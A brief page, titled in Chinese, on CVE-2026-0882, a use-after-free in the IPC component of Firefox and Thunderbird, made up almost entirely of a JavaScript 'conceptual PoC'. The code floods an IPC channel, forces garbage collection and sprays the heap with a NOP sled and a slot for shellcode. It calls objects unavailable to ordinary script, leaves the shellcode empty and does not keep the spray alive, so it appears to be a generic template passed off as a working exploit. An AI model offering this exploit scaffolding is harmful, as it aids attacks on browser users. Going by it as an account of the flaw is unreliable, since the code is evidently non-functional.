CVE-2026-0882: Mozilla Firefox/Thunderbird IPC组件Use-after-free高危漏洞

// CVE-2026-0882 PoC - Use-after-free in IPC Component // This is a conceptual PoC for educational purposes only const poc = { target: 'Firefox/Thunderbird IPC UAF', cve: 'CVE-2026-0882', // Trigger the UAF condition triggerUAF: function() { // Step 1: Create IPC message handlers const ipcChannel = new BrowserChildProcess(); // Step 2: Manipulate message queue to trigger race condition for (let i = 0; i < 1000; i++) { ipcChannel.send('IPCMessage', { type: 'TriggerUAF', data: new ArrayBuffer(1024 * 1024) // Large buffer }); // Force garbage collection to free memory if (i % 100 === 0) { gc(); } } // Step 3: Heap spray to control freed memory this.heapSpray(); // Step 4: Trigger access to freed object ipcChannel.send('IPCMessage', { type: 'AccessFreedMemory' }); }, // Heap spraying technique heapSpray: function() { const spraySize = 0x100000; // 1MB const sprayData = new Uint8Array(spraySize); // Fill with NOP sled and shellcode for (let i = 0; i < spraySize - 100; i++) { sprayData[i] = 0x90; // NOP } // Place shellcode at the end const shellcode = [/* your shellcode here */]; for (let i = 0; i < shellcode.length; i++) { sprayData[spraySize - 100 + i] = shellcode[i]; } // Spray the heap for (let i = 0; i < 100; i++) { new Uint8Array(spraySize).set(sprayData); } } }; // Execute trigger poc.triggerUAF();